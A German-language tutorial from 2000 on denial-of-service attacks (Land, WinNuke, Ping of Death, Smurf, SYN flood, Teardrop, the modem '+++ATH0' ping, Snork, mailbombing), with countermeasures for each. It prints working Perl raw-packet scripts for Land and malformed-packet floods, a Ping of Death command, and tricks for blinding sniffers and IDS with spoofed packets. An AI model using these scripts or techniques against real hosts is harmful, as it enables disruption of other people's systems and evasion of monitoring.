DoS (Denial of Service)
Geschrieben von Marc Ruef <mailto:marc.ruef@computec.ch?subject=DoS (Denial of Service)> für http://www.computec.ch/
Version 3.1b 02. April 2000

1.0 Inhaltsverzeichnis

1.0 Inhaltsverzeichnis

2.0 Einführung

3.0 Land

3.1 Angriffsmöglichkeiten

3.2 Schutzmassnahmen

4.0 OOB (Out of Band)

5.0 IP-Fragmentierung (Ping of Death)

5.1 Angriffsmöglichkeiten

5.2 Schutzmassnahmen

6.0 Smurf

7.0 SYN-Flooding

8.0 Teardrop

9.0 Ping-AT-Attacke

10.0 Snork

10.1 Schutzmöglichkeiten

11.0 Mailbombing, Spam, Junk-Mail

11.1 Die Geschichte des Spam

11.2 Die Lage heute

11.3 Schutzmöglichkeiten

2.0 Einführung

Denial of Service ist ein Synonym für die Kunst bzw. den Unsinn des Verhinderns eines Zugriffs oder Nutzens eines Computers. Denial of Service bedeutet soviel wie etwas unzugäglich machen, oder ausser Betrieb setzen. Diese Attacken nutzen immer Bugs und Schwachstellen von Programmen, Betriebssystemen oder Fehlimplementationen von Protokollen aus. Es existieren daher auch verschiedene Formen einer DoS-Attacke.

Entgegen der allgemein gültigen Meinung können auch Netzwerkscanner, Sniffer und IDS (Intrusion Detect Systeme) von solchen Angriffen betroffen sein. Der Grund dafür ist, dass Sniffer stets auf dem Kernel des Betriebssystems aufbauen, und somit von ihm abhängig sind. Sniffer müssen einen eigenen TCP/IP-Stack besitzen, da ihnen sonst das Ausführen eines Trace einer Netzwerkverbindung verwehrt bleiben würde. Die meisten freien und kommerziellen Scanner haben dabei ein kleines Problem: Sind sie auf Spurenverfolgung einer Verbindung, so sind sie nicht mehr in der Lage, andere Verbindungen gleichzeitig zu observieren. Um diese Aufgabe bewältigen zu können, müssten sie gleichzeitig die Arbeit aller TCP/IP-Stacks im Netzwerk auf sich nehmen, wobei dies von der Rechenleistung einer einzelnen CPU nicht verlangt werden kann. Daher entgeht ihnen stets ein grosser Prozentsatz des gesamten Traffics.

Ein Angreifer muss sich bei einer dynamischen Attacke stets auf zwei Rechner beschränken, wie dies bei aktiven IDS (Intrusion Detection Systeme) der Fall ist. Sniffer und Netzwerkscanner, die auf einem Server zur Überwachung eines einzelnen Ports abgerichtet sind, können mit einem einfachen Trick sillgelegt werden: Bevor er sich zum Beispiel via Telnet auf Port 23 einloggt, sendet er ein gespooftes SYN-Paket. Falls ein Sniffer nun aktiv ist, wird er logischerweise nach Erhalt und Analyse des gespooften Pakets die Verbindung auf Port 23 im Auge behalten. So kann sich der Angreifer danach einloggen, ohne dass der Sniffer das Passwort mitscannen kann. Nach einer gewissen Zeit, wenn der TCP/IP-Stack die Verbindung aufgrund des Timeouts kappt, ist der Sniffer wieder regulär aktiv.

Ein weiteres Problem besteht darin, dass ein Sniffer nicht wirklich in eine Verbindung hineinschauen kann. Er nimmt also am Datenaustausch nicht bei, wie das bei den beiden beobachteten Rechnern der Fall ist. Er trifft aus diesen Gründen bezüglich IP- und TCP-Paketlänge bestimmte Annahmen und interpretiert die Pakete nach diesem Standartschema. Wird nun eine Änderung bezüglich der Länge des TCP-Headers und der sporadischen Einschleusung von falschen Prüfsummen vorgenommen, die nicht mehr der zuvor errechneten Länge entsprechen, kann er die Inhalte der Pakete nicht mehr korrekt interpretieren. Der Sniffer überprüft die TCP-Prüfsummen nicht mehr, wobei die Kernel der betroffenen Systeme diese "falschen" Pakete einfach verwerfen werden und somit die Übertragung korrekt ausführen. Sniffer brechen zum Teil auch nach einem FIN- oder RST-Paket ihre Überwachung ab. Befindet sich einer dieser jedoch in einem TCP-Paket mit weit entfernter Sequenznummer, so werden die zu überwachenden Rechner dieses verwerfen und mit ihrer Übertragung normal fortfahren. Der Sniffer hingegen hält die Verbindung für beendet, und er stellt seine Arbeit ein. Manche Betriebssysteme, wie zum Beispiel Windows NT und Digital Unix, überprüfen bei einem RST die TCP-Sequenznummern nicht. Sind also auf einem solchen System Sniffer aktiv, ist es einem Angreifer leicht möglich, diese mit einem gespooften Paket mit gesetztem RST-Flag in einen passiven Zustand für die kommenden Pakete zurückzusetzen.

3.0 Land

Diese Angriffsart ist seit Ende 1997 bekannt, und es handelt sich hierbei um eine der letzten Varianten der DoS-Attacken, welche beachtliche Popularität erlangte. Durch die Land-Attacke wird ein sehr komplexer Angriff ausgeführt, welcher ein SYN-Paket mit identischer Absender- und Empfängerport erzeugt. Anschliessend wird dieses Paket an einen offenen Port gesendet, wo das Paket durch die vielen IP-Stacks eine Art Race-Condition erzeugt, und dadurch das System des Opfers lahmlegt.

3.1 Angriffsmöglichkeiten

Hier nun einige Beispiele für Land-Angriffe:

#!/usr/bin/perl
                               require 'getopts.pl';
                               use Net::RawIP;
                               Getopts('i:p:');
                               $a = new Net::RawIP;
                               die "Usage $0 -i <target> -p <target port>" unless
          ($opt_i && $opt_p);
                               $a->set({ ip => {saddr => $opt_i,
                                                daddr => $opt_i
                                               },
                                        tcp=> {dest => $opt_p,
                                               source => $opt_p,
                                               psh => 1,
                                               syn => 1}
                                      });
                               $a->send;

Die Flags (psh, syn,...) können beliebig im vorgegebenen Rahmen verändert werden, wobei bei korrekten Kombinationen Windows NT-Cluster (Tandem, Wolfpack,...) aussteigen.

Eine andere Möglichkeit besteht in einem simpel erscheinenden Ping:

#!/usr/bin/perl
                            use Net::RawIP qw(:pcap);
                            $a = new Net::RawIP ({icmp =>{}});
                            $a->set({ip => {saddr => 'www.intra.net', # insert your site
          here !
                                            daddr => $ARGV[0]},
                                    icmp => {type => 8, id => $$}
                                    });
                            $device = 'eth0'; # insert your device here !
                            $filt = 'ip proto \\icmp and dst host my.site.lan';#
          insert your site here!
                            $size = 1500;
                            $tout = 30;
                            $pcap = $a->pcapinit($device,$filt,$size,$tout);
                            $i =0;
                            if(fork){
                            loop $pcap,-1,\,\@a;
                            }
                            else{
                            sleep 2;
                            for(;;){
                            $a->set({icmp => {sequence => $i,data => timem()}});
                            $a->send(1,1);
                            $i++
                            }
                            }
                            sub dmp{
                            my $time = timem();
                            $a->bset(substr($_[2],14));
                            my @ar = $a->get({ip => [qw(ttl)], icmp=>[qw(sequence
          data)]});
                            printf("%u bytes from %s: icmp_seq=%u ttl=%u time=%5.1f
          ms\n",length($ar[2])+8,
                            ,$ARGV[0],$ar[1],$ar[0],($time-$ar[2])*1000);
                            }

Folgender Quelltext kann unter Umständen seinen Sinn verlieren, da sich verschiedene Unix-Distributoren, darunter Linux 2.2 und BSD, dass dank einem Prüfsummencheck im eigenen Betriebssystem bösartige Pakete die eigene Netzwerk-Device nicht verlassen dürfen. Um die Wirkung des Quelltextes zurückzugewinnen, muss unter Linux der direkte Zugriff der Device im Kernel durch das Setzen der Y-Flag von "Socket" und "Config Netlink Socket" erfolgen. Dadruch haben jedoch auch einfach User des Systems Zugriff auf die Netzwerkdevice. Diese Option sollte man als Systemadministrator stets deaktiviert haben, da sonst User Angriffe vom eigenen WWW-Server mittels CGI-BINs fahren können.

Mit folgendem Beispiel wird ein weiterer Angriff gestartet, wobei "saddr" und die TCP/IP-Flags zu varriieren sind:

#!/usr/bin/perl
                       require 'getopts.pl';
                       use Net::RawIP;
                       Getopts('t:n:');
                       die "Usage $0 -t <ip of the target> -n <thousands of the
          times>" unless ($opt_t && $opt_n);

                       @data = split (//,"0"x20);
                       $p = new Net::RawIP({
                                           ip => {
                                                  ihl => 11,
                                                  tot_len => 44,
                                                  tos => 0,
                                                  ttl => 255,
                                                  id => 1999,
                                                  frag_off => 16383,
                                                  protocol => 17,
                                                  saddr => '1.1.1.1',
                                                  daddr => $opt_t
                                                 },
                                           generic => {}
                                           });
                       $p->optset(ip => { type => [@data] , data => [@data] });
                       $p->send(0,$opt_n*1000);

3.2 Schutzmassnahmen

Die Auswirkungen waren relativ begrenzt, da viele Rechner schon durch Updates, Patches und Bug-Fixes gegen andere DoS-Attacken geschützt waren, und die verschiedenen Systemadministratoren gewisse Vorkehrungen trafen, um auch diese Attacke wirkungslos erscheinen zu lassen. Eine Besonderheit von Land war jedoch, dass die weit verbreiteten, und oft an zentralen Knotenpunkten der Netze installierten Cisco-Router von den Attacken betroffen waren.

Grunsätzlich sei gesagt, dass solche Test-Angriffe grundsätzlich in isolierten lokalen Netzwerken ausgeführt werden sollten, dagerade Pakete, die fehlerhafte Prüfsummen generieren, innerhalb einer Collision Domain viele TCP/IP Stacks von Arbeitsstationen oder insbesondere auch Netzwerkdruckern zum Absturz bringen können. Alle diese Pakete lassen sich z.B. auch mit der Broadcast Adresse 255.255.255.255 als Zieladresse oder mit Multicast-Adressen (224.255.255.255) generieren. Diese werden dann eventuell auch in benachbarte Netze übertragen, weil eventuell ein VLAN-Switch diese überträgt.

Das folgende Skript ist völlig harmlos, weil es nur die Flags des TCP-Stacks abfragt. Es kann dazu dienen, das Betriebssystem hinter einer Firewall zu bestimmen, solange diese keinen eigenen TCP/IP-Stack besitzt, bzw. die Pakete als Stateful Paket Filter (SPF) einfach nur an einer Seite durchgereicht werden. Mit diesem Script kann erkannt werden, wie unterschiedlich Firewalls arbeiten, und wozu so eventuell nichts taugen bzw. ihre Kosten gerechtfertigt sind:

          #!/usr/bin/perl
          # Simple script for educational purposes
          # It prints to STDOUT flags tcp packets from ftp server and client

          use Net::RawIP;
          require 'getopts.pl';

          Getopts('i:d:n:');
          die "Usage $0 -i <ftp server> -d <eth device> -n <number packet for receive>"
          unless ($opt_d && $opt_d && $opt_n);

          print "Now please login to your ftp server\n";

                             @flags = qw/URG ACK PSH RST SYN FIN/;
                             $filter = "dst host $opt_i and dst port 21";
                             $filter1 = "src host $opt_i and src port 21";
                             $psize = 1500;
                             $device = $opt_d;
                             $timeout = 500;

                             if(fork()){
                             $a = new Net::RawIP;
                             my $pcap = $a->pcapinit($device,$filter,$psize,$timeout);
                             loop $pcap,$opt_n,\,\@a;
                                       }
                                      else {
                             $b = new Net::RawIP;
                             my $pcap = $b->pcapinit($device,$filter1,$psize,$timeout);
                             loop $pcap,$opt_n,\,\@a;
                                            }

                             sub cl {
                             $a->bset(substr( $_[2],14));
                             my @fl = $a->get({tcp=>
                                                 [qw(psh syn fin rst urg ack)]
                                           });
                             print "Client -> ";
                             map { print "$flags[$_] "  if $fl[$_] } (0..5);
                             print "\n"
                             }

                             sub sv {
                             $b->bset(substr( $_[2],14));
                             my @fl = $b->get({tcp=>
                                                 [qw(psh syn fin rst urg ack)]
                                           });
                             print "Server -> ";
                             map { print "$flags[$_] "  if $fl[$_] } (0..5);
                             print "\n";
                             }

System-Administratoren sollten ihre Router im Intranet stets so konfigurieren, dass Broadcast-Domains möglichst klein bleiben. Leider könnte es passieren, dass Windows NT-PDCs und -BDCs in grossen Netzwerken nicht mehr korrekt funktionieren. Entweder man setzt dann in jeder Abteilung Firewalls ein, die einen eigenen TCP/IP Stack besitzen, oder man schafft NT-Server im Unternehmen grundsätzlich ab.

4.0 OOB (Out of Band)

OOB (Out of Band) ist ein Feature von TCP (Trasmission Control Protocol) das es erlaubt, Daten auserhalb der Reihenfolge (out-of-band) zu senden. Dies ist zum Beispiel nützlich für die Behandlung von [Ctrl]+[C] in Telnet-Verbindungen. Weniger nützlich wenn am anderen Ende was ausreichend altes von Microsoft hängt - dieses mag OOB-Daten an vielen Stellen garnicht.

Schuld an der Möglichkeit einer solchen Attacke war die fehlerhafte Implementierung von NetBEUI durch Microsoft: Sobald über die Ports 135 und 139 ein paar Daten oder wirre Zeichen eintrafen, die nicht der Norm entsprachen, stürzte das betroffene System ab.

Das erste OOB-Tool war WinNuke, und erblickte laut verschiedenen Quellen am 7. Mai 1997 die Welt. Durch IRC (Internet Relay Chat) und verschiedene Newsgroups erreichte WinNuke bald eine gewisse Popularität und Verbreitung. OOB-Attacken verlieren jedoch zunehmends an Bedeutung, da Windows 98 und 2000 gegen solche Angriffe bereits gefeilt ist. Bei Windows 95 und NT mussten noch Updates installiert werden, um diese Attacke wirkungslos erscheinen zu lassen.

Erschreckend ist ganz sicher die unglaubliche Einfachheit und Primitivität dieses Fehlers, der dazu führte, dass es in kürzester Zeit eine Unmenge von OOB-Nuke-Tools gab. Die OOB-Nuker wurden stetig perfektioniert: So konnte man neben Massen-Nuke auch "Abschiessgründe" senden und anschliessend sogar verifizieren lassen, ob der Rechner des Opfers tatsächlich crashte, indem versucht wurde der Zielrechner mit einem ICMP-Ping zu erreichen.

5.0 IP-Fragmentierung (Ping of Death)

Ein einzelnes IP-Paket ist inklusive Header maximal 65'535 Bytes lang, Ethernet-Pakete können jedoch maximale 1'500 Bytes Daten übertragen. Grössere Pakete werden fragmentiert und beim Empfänger wieder defragmentiert, wobei die Zusammensetzung anhand eines Offset-Wertes erfolgt. Dies wird gemacht, um Netzwerkabschnitte zu überwinden, welche lediglich eine maximale Paketlänge unterstützen. Jedes Paketfragment erhält neben dem Offset-Wert auch noch eine Identifikationsnummer, aber nur das erste enthält den TCP-Header und damit die Port-Nummer. Dieser Offset-Wert bestimmt für jedes Fragment, wohin es gehört oder wohin es soll. Dadurch ist es möglich, dem letzten Fragment einen Offset zu geben, der inklusive Fragmentgrösse einen grösseren Wert als die maximalen 65'535 Bytes ergibt. Dieses übergrosse Ping-Paket erzeugt anschliessend einen Buffer-Overflow. Dieser Angriff funktioniert nicht nur mit ICMP und Ping, sondern auch mit UDP und TCP. Obwohl ein ordentlicher Ping-Befehl keine Pakete grösser als 65'507 Bytes (65'535 Bytes abzüglich 20 Bytes IP-Header und 8 Bytes ICMP-Header) zulässt, bot bei den ersten Versionen von Windows 95 der dort implementierte Ping-Befehl das antsprechende Feature in Form eines Parameters. Einfach "ping -l 65510 zielhost" eingeben, und der Todes-Ping wird ausgeführt.

5.1 Angriffsmöglichkeiten

Als eine der erfolgreichsten Angriffsmöglichkeiten gegen Sniffer sind solche mit fragmentierten IP-Paketen. TCP-Filter können auch in der Regel nicht mehr sicher unterscheiden, ob die Paket ins interne Netz gelassen werden dürfen, da die Port-Information bei den meisten Paketen fehlt. Wenn die Zielstation nun auch noch unvollständige Paketfragmentfolgen auswertet - und jene auch nicht verwirft - kann eine Firewall ohne grössere Probleme umgangen werden.

Ein einfacher aber wirkungsvoller Angriff, der IP-Fragmentierung ausnutzt, ist der sogenannte "overlapping fragment attack" nach RFC 1858. Die derzeitige
Internet-Protokoll Spezifikation RFC 791 beschreibt einen Reassemblierungs-Algorithmus, der neue Fragmente produziert und dabei jeden überlappenden Teil der
zuvor erhaltenen Fragmente überschreibt. Wird ein solcher Algorithmus angewendet, so kann ein Angreifer eine Folge von Paketen konstruieren, in denen das erste Fragment (mit einem Offset der Länge Null) harmlose Daten beinhaltet (und dadurch von einem Paketfilter weitergeleitet werden kann). Ein beliebiges nachfolgendes Paket mit einem Offset, der größer als Null ist, könnte TCP-Header-Informationen (z.B. destination port) überlappen. Diese würden durch den Algorithmus modifiziert (überschrieben). Dieses zweite Paket wird von vielen Paketfiltern nicht gefiltert. Gegenmaßnahme hierzu ist, Paketfilter zu verwenden, die ein Minimum an Fragment Offset für Fragmente verlangen. Nur wenige neuere TCP/IP-Stacks erkennen dieses Problem und korrigieren dieses. Ältere Router lassen sich mit diesem Trick einfach durchtunneln, sie bieten keinen Schutz. Besonders aber Firewalls, die auf der Basis der Stateful Paket Filterung (SPF) arbeiten, wie z.B. RAPTOR EAGLE und FIREWALL-1 liessen sich so durchtunneln. Content-Anbieter im Internet und ISP´s, die mit diesen Firewalls NT-Server schützen wollten, wurden so Ziel der unzähligen Angreifer, die neue Exploits mal testen wollten.

5.2 Schutzmassnahmen

Anfang 1997 war von dieser Attacke so ziemlich alles betroffen, was einen IP-Stack hatte. Von der Workstation bis zum Drucker war damals praktisch nichts dagegen gewappnet. Abhilfe schafft nur eine vollständige Reassemblierung der TCP/IP-Pakete oder der Einsatz eines Proxy. Nachteil dieser Lösung ist ein enormer Einbruch in der Performance, der den Vorteil der SPF-Firewalls völlig zunichte macht. Dies zeigt aber, daß Firewalls keineswegs perfekt sind. Will man solchen Angriffen zuvorkommen, so ist man als Betreiber eines mission critical Systems auf die ständige Betreuung eines Experten angewiesen. Da von diesem Angriff nur spoofende Versionen existieren, können die Täter oft nicht aufgespürt werden.

6.0 Smurf

Wenn man auf eine Broadcastadresse einen Ping schickt, erzeugt dieser je nach antwortendem Rechner eine beachtliche Anzahl an Antworten. Der Trick besteht darin, die Absenderadresse zu fälschen, so dass das Opfer die Antworten erhält. Sendet man nun rund 1'000 Pakete pro Sekunde, und 1'000 Rechner ant-worten darauf, bedeutet dies also, dass 1'000'000 Pakete pro Sekunde beim Opfer eintreffen. Die verursacht einen solchen Traffic, dass der Rechner des Opfers unter dem enormen Verkehr zusammenbricht.

Dieses Problem war unter dem Namen "ICMP Storm" schon länger bekannt, gewann jedoch erst durch das im Oktober 1997 erscheinende Tool "Smurf" an Bedeutung für Datenreisende.

Zahlreiche Provider wurden durch solche Attacken tagelang arg bedrängt. Dieses Problem lässt sich jedoch durch einen einfachen Trick beheben, indem man an den Routern die IP-Broadcasts nicht mehr in Ethernet-Broadcasts umsetzen lässt, und jene somit Aussen vor bleiben.

7.0 SYN-Flooding

TCP-Verbindungen werden nach einem Drei-Wege-Handshake aufgebaut, indem zuerst ein SYN-Paket gesendet wird, darauf mit einem SYN/ACK-Paket geantwortet wird, und anschliessend die Bestätigung mittels eines ACK Bestätigung findet.

Nun besteht die SYN-Flood-Attacke daraus dem Opfer beim Handshake eine falsche Absenderadresse zu übermitteln. Das SIN/ACK-Antwortpaket wird also ins Nirgendwo beantwortet. Wenn nach einiger Zeit keine Rückantwort des ACK-Paketes erfolgt, wird der Verbindungsversuch als erfolglos abgebrochen. Nutzt man jedoch nun die Zeit bis zum Abbruch damit, dem Opfer eine Unmenge von SYN-Paketen zu schicken, und ihn somit zu überfluten, wird der Rechner des Opfers in die Knie gehen.

Hier ein Beispiel eines solchen Konversation:

Der Angreifer sendet das Paket SYN 1 an sein Opfer.

Das Opfer antwortet automatisch auf SYN 1 und wartet auf ACK 1.

Der Angreifer sendet SYN 2.

Das Opfer antwortet auf SYN 2, wartet nun auf ACK 1 und ACK 2.

Der Angreifer sendet nun Paket SYN 3.

usw.

...

Diese Flood-Attacke erlebte besonders im Herbst 1996 grossen Aufschwung.

8.0 Teardrop

Nahezu wie der "Ping of Death" macht sich "Teardrop" die Fragmentierung von IP-Paketen zunutze. Während beim "Ping of Death" eine übergrosse Fragmentierung erzeugt wird, überlappen sich die Fragmente bei einer Teardrop-Attacke einfach, und bringen so Windows und Linux ins Schwitzen, und schlussendlich zum Crash.

Auch diese Attacke wurde gegen Ende 1997 besonders oft gesichtet.

Dem Schrecken wurde aber schnell mit Patches und Updates ein Ende gesetzt.

9.0 Ping-AT-Attacke

Der amerikanische Modemhersteller Hayes hat Ende der siebzigerjahre eine einheitliche, zeilenorientierte und öffentliche Befehlssprache für Modems entwickelt, welche die sogenannten AT-Befehle enthält. Durch diese Befehle wird es möglich, dass jedes Modem angesprochen werden kann, in welches diese einheitliche Sprache implementiert wurde. Man kann sagen, dass dies heute praktisch bei allen Modems der Fall ist, so dass jene Modems von den Betriebssystemen und der Software einheitlich angesprochen werden kann. Sobald sich ein Modem im Offline-Modus befindet, kann es über AT-Befehle angesprochen werden. Findet ein Wechsel in den Online-Modus statt, kann das Modem nicht mehr mittels der AT-Befehle angesprochen werden, da es sich im Übertragungsmodus befindet. Dies kann verhindert werden, indem man dem Modem die Zeichenkette des dreimaligen Drückens des Escape-Zeichens sendet, welches als "+++" gekennzeich-net wird.  Dabei wird in den Kommandomodus gewechselt. Aus Sicherheitsgründen muss zwischen diesem Umschaltkommando in den Kommandomodus und den ersten AT-Befehl mindestens eine Pause von einer Sekunde vorhanden sein. Einige Modemhersteller vezichten aus patentrechtlichen Gründen auf eine solche Pause, so dass bei jenen Modellen der Umschaltbefehl in den Kommandomodus und ein kompletter AT-Befehl direkt hintereinander eingegeben werden können. Diese Voraussetzung eignet sich für einen gemei-nen Angriff: Man schicht an einen Empfänger über das Internet ein spezielles Ping-Paket, welches zum Bei-spiel die Sequenz "+++ATH0" enthält, was das Umschalten in den Kommandomodus und Beenden der Ver-bindung bedeutet. Laut Ping-Protokoll antwortet der Rechner des Empfängers auf die Ping-Anfrage mit der Spiegelung des Paketes. Kennt das Modem nun die oben genannte Pause zwischen dem Umschalten und dem darauffolgenden AT-Paket nicht, wird es den Paketinhalt des Antwort-Pings als abzuarbeitende Sequenz interepretieren, und die Verbindung trennen.

10.0 Snork

Ende September des Jahres 1998 machte die ISS X-Force auf http://xforce.iss.net/alerts/advise9.php3 auf eine neue DoS-Attacke gegen den Windows NT RPC-Service aufmerksam, welche vom Aufbau her vergleichbar mit den Attacken "Smurf" und "Fraggle" ist. Diese Attacke erlaubt es einem Angreifer mit minimaler Ausstattung einem entfernten Windows NT-Rechner 100 % der Prozessor-Leistung und einen grossen Anspruch der Bandbreite zeitweilens in Anspruch zu nehmen. Die Verwundbarkeit für Snork ist auf Windows NT 4.0 Workstations und Servern bis und mit Service-Pack SP4 RC 1.99 vorhanden.

10.1 Schutzmöglichkeiten

Microsoft hat einen Patch gegen diese Attacke herausgegeben, der sich unter http://www.microsoft.com/security/bulletins/ms98-014.htm findet. Netzwerkadministratoren können interne Systeme von externen Attacken abschirmen, indem folgende Filter-Regel im Router oder der Firewall eingegeben wurde: Alle einkommenden UDP-Pakete filtern, die den Destinations-Port 135 und als Source-Port 7, 19 oder 135 haben. Viele Firewall-Komponenten haben diese Regel schon aktiviert, und sind deshalb schon out of the box gegen Snork-Attacken gerüstet.

11.0 Mailbombing, Spam, Junk-Mail

11.1 Die Geschichte des Spam

Spam gilt heute als den Erhalt unerwünschter (Werbe-)Sendung in Form von E-Mails. Doch früher würde dieser Ausdruck in den Gefilden des Usenets gebraucht: Dort wurde damals das Erzwingen des physikalischen Speicherns ein und der selben Nachricht auf verschiedenen News-Servern so genannt.

11.2 Die Lage heute

Mailbombing ist zusammen mit OOB-Attacken eine der populärsten Formen der DoS-Attacken und wird vorzugsweise von meist jugendlichen Tätern im Alter zwischen 14 und 18 Jahren ausgeübt. Dabei wird entweder eine enorm grosse Nachricht in Form einer E-Mail an die Zieladresse geschickt, oder mit tausenden von Nachrichten bombadiert. Die dadurch erreichbaren Ziele sind das Verstopfen eines bestimmten Mail-Accounts, oder gleich das Verlangsamen oder gar Herunterreissen eines Mail-Servers. Solche Mail-Bombing-Attentate können ohne grössere Probleme durch im Internet erhältliche Programme durchgeführt werden.

11.3 Schutzmöglichkeiten

Als erstes sollte im Netz nur ungern die private Mail-Adresse publuziert werden. Öffentliche Auftritte sollten höchstens mit der Angabe einer sekundären Mail-Adresse bei einem Free-Mail-Anbieter, wie zum Beispiel yahoo.de, hotmail.de oder gmx.ch quittiert werden. Dadurch erschliesst sich der Vorteil, dass die Hauptadresse möglicherweise keinen Attacken standhalten muss. Ein vollgemüllter Free-Mail-Account lässt sich auch ohne grössere Probleme säubern oder notfalls ganz löschen.

Eine weitere Schutzmassnahme ist das Filtern eingehender Mails. Am besten sollte dies schon beim Mail-Gateway durchgeführt werden, falls im Unternehmen ein solcher vorhanden sein sollte. Die Filterrregeln lassen sich bei zeitgemässen Programmen relativ komfortabel einstellen: So können zum Beispiel bestimmte Absender, Betreff- oder Mail-Inhalte boykottiert werden. Um unnötigen Traffic und mögliche Drittpersonen nicht unnötig zu belasten, sollten keine Strike-Back-Attacken oder Error-Replies genutzt werden, denn meist nutzen Angreifer gestohlene oder fiktive Absender-Adressen, die solche Antworten gar nicht honorieren würden.

Siehe auch ICMP, SMTP, TCP